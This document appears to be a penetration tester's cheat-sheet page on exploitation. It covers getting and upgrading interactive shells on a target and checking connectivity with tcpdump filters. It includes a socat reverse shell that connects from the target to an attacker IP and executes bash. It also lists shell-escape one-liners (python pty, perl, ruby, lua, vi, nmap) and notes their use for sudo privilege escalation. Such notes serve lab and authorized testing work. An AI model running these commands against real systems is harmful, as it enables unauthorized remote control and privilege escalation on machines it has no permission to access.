Exploitation

If a exploit doesn't work, but should

HINT

If you can’t upgrade a shell, and want to run a process that will need Ctrl-C to exit you can prepend it with timeout 10s ... to make it exit after 10 seconds.

  • Create a interactive shell

    • Fully:
      • socat
        • Kali: socat TCP-LISTEN:8080,reuseaddr FILE:tty,raw,echo=0
        • Target: socat TCP4:<attackers_ip>:8080 EXEC:bash,pty,stderr,setsid,sigint,sane
      • /usr/bin/script -qc /bin/bash /dev/null
      • /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
    • Spawn:
      • /usr/bin/python -c 'import pty; pty.spawn("/bin/sh")'
      • echo os.system('/bin/bash')
      • /bin/sh -i
      • perl —e 'exec "/bin/sh";'
      • perl: exec "/bin/sh";
      • ruby: exec "/bin/sh"
      • lua: os.execute('/bin/sh')
      • From within IRB: exec "/bin/sh"
      • From within vi: :!bash
      • From within vi: :set shell=/bin/bash:shell
      • From within nmap: !sh
    • This is especially interesting if we have sudo permissions for these binaries! ( PE)
    • Upgrading Simple Shells to Fully Interactive TTYs
  • Check if the target can ping kali with: sudo tcpdump -ni tun0

    • Filtering:
      • tcpdump -ni tun0 host 10.1.1.1
      • tcpdump -ni tun0 src host 10.1.1.1
      • tcpdump -ni tun0 dst host 10.1.1.1
      • tcpdump -ni tun0 src net 172.16.0.0/12
      • tcpdump -ni tun0 port 53
      • tcpdump -ni tun0 tcp port 80
      • tcpdump -ni tun0 proto \\icmp
      • 1

Relevant Note(s):

Footnotes

  1. https://docs.netgate.com/pfsense/en/latest/diagnostics/packetcapture/tcpdump.html#tcpdump-filters